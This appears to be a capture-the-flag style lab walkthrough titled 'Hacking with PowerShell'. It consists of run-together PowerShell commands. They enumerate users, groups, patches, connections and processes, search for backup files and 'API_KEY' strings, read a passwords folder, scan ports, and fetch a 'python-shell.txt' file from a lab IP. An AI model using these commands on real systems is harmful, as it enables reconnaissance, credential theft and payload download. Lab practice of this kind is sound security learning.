Hacking with PowerShell
March 16, 2024










































Last updated
March 16, 2024










































Last updated
Get-Help Get-Command -ExamplesGet-Command New-*Get-Command | Get-Member -MemberType MethodGet-ChildItem | Select-Object -Property Mode, Name
lsGet-Service | Where-Object -Property Status -eq StoppedGet-ChildItem | Sort-ObjectGet-ChildItem -Path "C:\Program Files" -Filter "*.txt" -Recurse -Filels
more interesting-file.txt.txt(Get-Command -CommandType Cmdlet).CountGet-FileHash -Path interesting-file.txt.txt -Algorithm MD5Get-Location
pwdcd C:\Users\Administrator\Documents\PasswordsInvoke-WebRequest -Uri "http://10.9.193.229:8000/python-shell.txt"more b64.txt
$base64EncodedData = Get-Content -Path b64.txt -Raw
$decodedData = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64EncodedData))
$decodedDataGet-LocalUserwmic useraccount get name,sid# Get a list of local users
$localUsers = Get-WmiObject Win32_UserAccount -Filter "LocalAccount='True'"
# Iterate through each user
foreach ($user in $localUsers) {
$username = $user.Name
$passwordRequired = $user.PasswordRequired
Write-Output "User: $username - Password Required: $passwordRequired"
}Get-LocalGroup
(Get-LocalGroup).CountGet-NetIPAddressGet-NetTcpConnection
(Get-NetTcpConnection).Countget-hotfix
(get-hotfix).CountGet-ChildItem -Path "C:\" -Filter "*.bak*" -Recurse
cd C:\'Program Files (x86)'\'Internet Explorer'
more passwords.bak.txt# Specify the directory to search in
$directoryPath = "C:Users"
# Recursively search for files containing "API_KEY"
$files = Get-ChildItem -Path $directoryPath -Recurse -File | Select-String -Pattern "API_KEY" -List
# Display the files containing "API_KEY"
if ($files) {
Write-Output "Files containing 'API_KEY':"
$files.Path
} else {
Write-Output "No files containing 'API_KEY' found in $directoryPath."
}
get-process$directoryPath = "C:\"
$owner = (Get-ACL -Path $directoryPath).Owner
Write-Output "Owner of $directoryPath is: $owner"cd C:\Users\Administrator\Desktop\emails\martha
ls
get-content -Path Doc3M.txtcd C:\Users\Administrator\Desktop\emails\mary
ls
more .\Doc2Mary.txt$ErrorActionPreference -eq "SilentlyContinue"
$Target -eq "localhost"
$LowEnd = 130
$HighEnd = 140
$X = 0
Do
{
$CurrentPort = $LowEnd + $X
if((Test-NetConnection -ErrorAction SilentlyContinue $Target -Port $CurrentPort).PingSucceeded -or (Test-NetConnection -ErrorAction SilentlyContinue $Target -Port $CurrentPort).TcpTestSucceeded)
{$CurrentPort | Out-File .\OpenPorts.txt -Append}
$X = $X + 1
}
While($CurrentPort -lt 140)
(Get-Content .\OpenPorts.txt).Count